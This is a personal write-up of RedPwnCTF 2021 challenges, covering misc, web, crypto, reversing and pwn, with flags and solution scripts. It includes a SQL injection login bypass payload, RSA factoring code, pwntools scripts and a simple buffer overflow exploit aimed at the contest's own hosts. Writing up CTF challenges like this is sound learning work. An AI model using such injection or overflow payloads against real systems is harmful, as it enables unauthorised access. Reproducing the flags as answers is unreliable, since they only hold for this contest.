RedPwnCTF 2021
Misc
Sanity-check [1pt]
I get to write the sanity check challenge! Alright!
flag{1_l0v3_54n17y_ch3ck_ch4ll5}
Flag: flag{1_l0v3_54n17y_ch3ck_ch4ll5}
Discord [1 pt]
Join the discord! I hear
#rules
is an incredibly engaging read.
Flag: flag{chall3n63_au7h0r5h1p_1nfl4710n}
Compliant-lattice-feline [102 pts]
Description
get a flag!
nc mc.ax 31443
Flag: flag{n3tc4t_1s_a_pip3_t0_the_w0rld}
The-substitution-game [145 pts] [Not Solved]
Description
author: BrownieInMotion
Solution
So I was unable to get past level 4 but so far this was my solution
# run_level(level_1, 5)
# initial => target
# run_level(level_2, 10)
# hello => goodbye
# ginkoid => party
# run_level(level_3, 10)
# aa => a
Web
Inspect me [101 pts]
Description
See if you can find the flag in the source code! inspect-me.mc.ax
Solution
View page source code and the flag is in the comments
Flag: flag{inspect_me_like_123}
Orm-bad [102 pts]
Description
I just learned about orms today! They seem kinda difficult to implement though... Guess I'll stick to good old raw sql statements! orm-bad.mc.ax
Solution
admin / ' OR 1=1 - -
Flag: flag{sqli_overused_again_0b4f6}
Crypto
Scissors [102 pts]
Description
I was given this string and told something about scissors.
egddagzp_ftue_rxms_iuft_rxms_radymf
import random
key = random.randint(0, 25)
alphabet = 'abcdefghijklmnopqrstuvwxyz'
shifted = alphabet[key:] + alphabet[:key]
dictionary = dict(zip(alphabet, shifted))
print(''.join([
dictionary[c]
if c in dictionary
else c
for c in input()
]))
Solution
Given some code and I just plug it in and run it. At this point, I see two paths. One I program a hardcode for all possibilities. The second option, keep running the program until it works. I decided on the second one because I got lucky the third time I ran it. I included the code I wrote when the contest was over
for key in range(0,25):
alphabet = 'abcdefghijklmnopqrstuvwxyz'
shifted = alphabet[key:] + alphabet[:key]
dictionary = dict(zip(alphabet, shifted))
print(str(key)+ " " + ''.join([dictionary[c]
if c in dictionary
else c
for c in "egddagzp_ftue_rxms_iuft_rxms_radymf"
]))
Flag: flag{surround_this_flag_with_flag_format}
Baby [102 pts]
Description
I want to do an RSA!
Solution
Yes finally, an RSA puzzle, and I learned how to do it.
So I notice we are missing P and Q so I used the RSActfTool to find those with N and e. Well that was a bust and so I moved onto mesieve
./msieve -q 228430203128652625114739053365339856393
This worked and all I had to do after that was plug the numbers into the code and bam.
from math import gcd
from Crypto.Util.number import *
n = 228430203128652625114739053365339856393
e = 65537
c = 126721104148692049427127809839057445790
p = 12546190522253739887
q = 18207136478875858439
def lcm(x, y):
return (x * y) // gcd(x, y)
def ex_euclid(x, y):
a0, a1 = 1, 0
b0, b1 = 0, 1
c0, c1 = x, y
while c1 != 0:
m = c0 % c1
q = c0 // c1
c0, c1 = c1, m
a0, a1 = a1, (a0 - q * a1)
b0, b1 = b1, (b0 - q * b1)
return a0, b0
t = lcm(p - 1, q - 1)
a, b = ex_euclid(e, t)
d = a % t
m = pow(c, d, n)
print(long_to_bytes(m))
Flag: flag{68ab82df34}
Round the Bases [107 pts]
Description author: AdnanSlef My flag has been all around the bases. Can you help me get it back?
Solution
I know this one was going to use a lot of different base conversions, hence the name so I just launched up CyberChef and got to work. I tried some magic but that had no effect so I just brute forced and tried combinations of base conversions.
Out of all the base__ conversions, base85 gave a magic symbol afterward... I think we are onto something. I just clicked through that and the algorithm created itself.
From Base85 -> From Hex -> From Decimal -> From Octal -> From Binary
Flag: flag{w0w_th4t_w4s_4ll_wr4pp3d_up}
Rev
wstrings [102 pts]
Description
Some strings are wider than normal...
Solution
Opened up the program and in Ghidra and analyzed it. Then I went over to the symbol tree and found an entry "Flag"

Flag: flag{n0t_al1_str1ngs_ar3_sk1nny}
Bread-making [108 pts]
Description author: KyleForkBomb
My parents aren't home! Quick, help me make some bread please...
Solution
So I started with strings bread
and that gave me a whole lot, which I exported to a file out.txt
and removed the useless information. I then thought that we are trying to find input and some phrases are for sure a response so I removed those as well. Given the last little amount, I was confident it would just take a little bit of time to find the right order. I decided to do some brute force with my code looking something like this after a small start
from pwn import *
import time
def initialSend(option):
p = process("./bread")
p.sendlineafter("bowl", "add flour")
p.sendlineafter("added", "add yeast")
p.sendlineafter("added", "add salt")
p.sendlineafter("added", "add water")
p.sendlineafter("lumpy dough", option)
print(p.recv())
print(p.recv())
f = open("outs.txt")
mycmds = []
lines = f.readlines()
count = 0
while count < len(lines):
try:
initialSend(lines[count])
time.sleep(1)
print(lines[count])
except:
time.sleep(.5)
count += 1
Once I found everything I created a final Full send
from pwn import *
def fullSend(p):
p.sendlineafter("to the bowl", "add flour")
p.sendlineafter("has been added", "add yeast")
p.sendlineafter("has been added", "add salt")
p.sendlineafter("has been added", "add water")
p.sendlineafter("a lumpy dough", "hide the bowl inside a box")
p.sendlineafter("needs to rise", "wait 3 hours")
p.sendlineafter("finish the dough", "work in the basement")
p.sendlineafter("needs to be baked", "preheat the toaster oven")
p.sendlineafter("for 45 minutes", "set a timer on your phone")
p.sendlineafter("awfully long time", "watch the bread bake")
p.sendlineafter("no time to waste", "pull the tray out with a towel")
p.sendlineafter("smoke in the air", "unplug the fire alarm")
p.sendlineafter("in another room", "open the window")
p.sendlineafter("air rushes in", "unplug the oven")
p.sendlineafter("kitchen is a mess", "wash the sink")
p.sendlineafter("sink is cleaned", "clean the counters")
p.sendlineafter("counters are cleaned", "flush the bread down the toilet")
p.sendlineafter("is disposed of", "get ready to sleep")
p.sendlineafter("go to sleep", "close the window")
p.sendlineafter("window is closed", "replace the fire alarm")
p.sendlineafter("alarm is replaced", "brush teeth and go to bed")
p.interactive()
p.close()
binary = remote("mc.ax", 31796)
fullSend(binary)
Flag: flag{m4yb3_try_f0ccac1a_n3xt_t1m3???0r_dont_b4k3_br3ad_at_m1dnight}
Pwn
Beginner-generic-pwn-number-0 [105 pts]
Description author: pepsipu
rob keeps making me write beginner pwn! i'll show him...
Solution
So I know this was a buffer overflow because entering a lot of "A" created a segmentation fault.
from pwn import *
flag_address = 0xffffffffffffffff
payload = b"A" * 40
# binary = process("./beginner-generic-pwn-number-0")
binary = remote("mc.ax", 31199)
print(binary.recvuntil(":(\n"))
binary.sendline(payload + p64(flag_address))
binary.interactive()
# Normal Response
# b'"\xf0\x9d\x98\xb1\xf0\x9d\x98\xad\xf0\x9d\x98\xa6\xf0\x9d\x98\xa2\xf0\x9d\x98\xb4\xf0\x9d\x98\xa6 \xf0\x9d\x98\xb8\xf0\x9d\x98\xb3\xf0\x9d\x98\xaa\xf0\x9d\x98\xb5\xf0\x9d\x98\xa6 \xf0\x9d\x98\xa2 \xf0\x9d\x98\xb1\xf0\x9d\x98\xb8\xf0\x9d\x98\xaf \xf0\x9d\x98\xb4\xf0\x9d\x98\xb0\xf0\x9d\x98\xae\xf0\x9d\x98\xa6\xf0\x9d\x98\xb5\xf0\x9d\x98\xaa\xf0\x9d\x98\xae\xf0\x9d\x98\xa6 \xf0\x9d\x98\xb5\xf0\x9d\x98\xa9\xf0\x9d\x98\xaa\xf0\x9d\x98\xb4 \xf0\x9d\x98\xb8\xf0\x9d\x98\xa6\xf0\x9d\x98\xa6\xf0\x9d\x98\xac"\nrob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!\ncan you write me a heartfelt message to cheer me up? :(\n'
Flag: flag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me}
Extra URL
I found an interesting writeup that I should look further into
Last updated
Was this helpful?